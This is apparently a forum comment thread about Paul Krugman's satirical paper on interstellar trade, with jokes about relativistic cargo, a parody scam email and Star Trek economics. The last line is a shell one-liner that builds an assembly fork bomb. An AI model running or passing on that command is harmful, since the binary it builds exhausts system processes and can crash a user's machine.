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Paul Krugman's 1978 Theory of Interstellar Trade
jerryasher recommends Paul Krugman's blog at the NYTimes, where he introduces a paper he wrote, The Theory of Interstellar Trade, with tongue very much in cheek. Some packrat academician was kind enough to send him a scan, because "back then academics did their work with typewriters, abacuses, and stone axes." Abstract: This paper extends interplanetary trade theory to an interstellar setting. It is chiefly concerned with the following question: how should interest rates on goods in transit be computed when the goods travel at close to the speed of light? This is a problem because the time taken in transit will appear less to an observer traveling with the goods than to a stationary observer. A solution is derived from economic theory, and two useless but true theorems are proved... This paper, then, is a serious analysis of a ridiculous subject, which is of course the opposite of what is usual in economics."
What does this have to do with the price of tea on Trantor?
First -- if the player is traveling near the speed of light _with_ the cargo, then he won't notice that the people who are not moving have aged. If the cargo is something useful and rare (fusion fuel, perhaps) or from a far-advanced culture (fusion reactors, perhaps) then he's reasonably assured of finding a market upon arrival even if he didn't get a chance to set up a deal ahead of time.
Second -- I'm not sure that a transaction that takes longer to complete than the life of any trader is necessarily impossible. People make investments they know will outlast them, largely because they hope to sell to somebody younger when they need the money. If I set cargo in motion that will return a $100 million payment in 100 years, I know that I'm not going to live long enough to ever see the return. But, in 50 years I can probably sell the right to the value of the cargo for $5 to $20 million, depending on interest rates (see present discounted value). Some young whippersnapper (or an institution with a long horizon, or somebody else who hopes to trade again) would be happy to take the deal. It doesn't matter that I'll personally never see the dividends; if the payment down the line is certain enough then somebody will be happy to buy it from me.
The buyer? Well, he dresses all in white, has a big white beard, talks out of burning bushes...
Hi my name is Prince Valtor Tazalutium the Third from the distant planet Nigeron 7. I have dispatched the fastest cargo ships in my fleet to Earth filled with the rich treasures of my home planet. However because of the vast distance between our two planets my ships will not reach Earth until I am long dead and therefore will not receive a return on my initial investment. As I have no heirs I am looking for one trustworthy stranger to buy these ships and their cargo en route to your planet. I am willing to sell them for $50,000.00 US DOLLARS. If interested please contact me at valtorlol@aol.com.
You'd be better of using the Independence Day model of interstellar economics, where a permanently spaceborne species arrives at a technologically less advanced planet, strips it bare and then moves on.
Indeed I've always thought that that's the way the Federation really worked in Star Trek. All the feel good stuff we see is just propaganda from inside the system like Starship Troopers was. If you really were a primitive species then the Enterprise would arrive for peaceful contact and leave. But it would send your coordinates and description of your planetary defences (i.e. none worth mentioning) back to the Federation. A bit later swarms of starships would arrive and your planet could be turned into more starships and any survivors could be reprogrammed to serve on them, which doesn't seem a very skilled job. People seem curiously inhuman too. My explanation is that they're not really people. Physically they are mostly human with a few aliens, but socially they are more like insects in a hive. They follow orders without question and work without payment and show little concern for their individual interests or safety. If they'd been programmed to do their job without any choice in the matter it would all make sense.
It explains why they don't have money, or politics, or arguments of any sort. In the best 1984 style of course they criticise the Borg for behaving like this because it's always useful to have an enemy. I suspect that it's not really necessary anymore of course since their drones have long since lost even the possibility even considering that the system they are in is anything other than totally benign.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;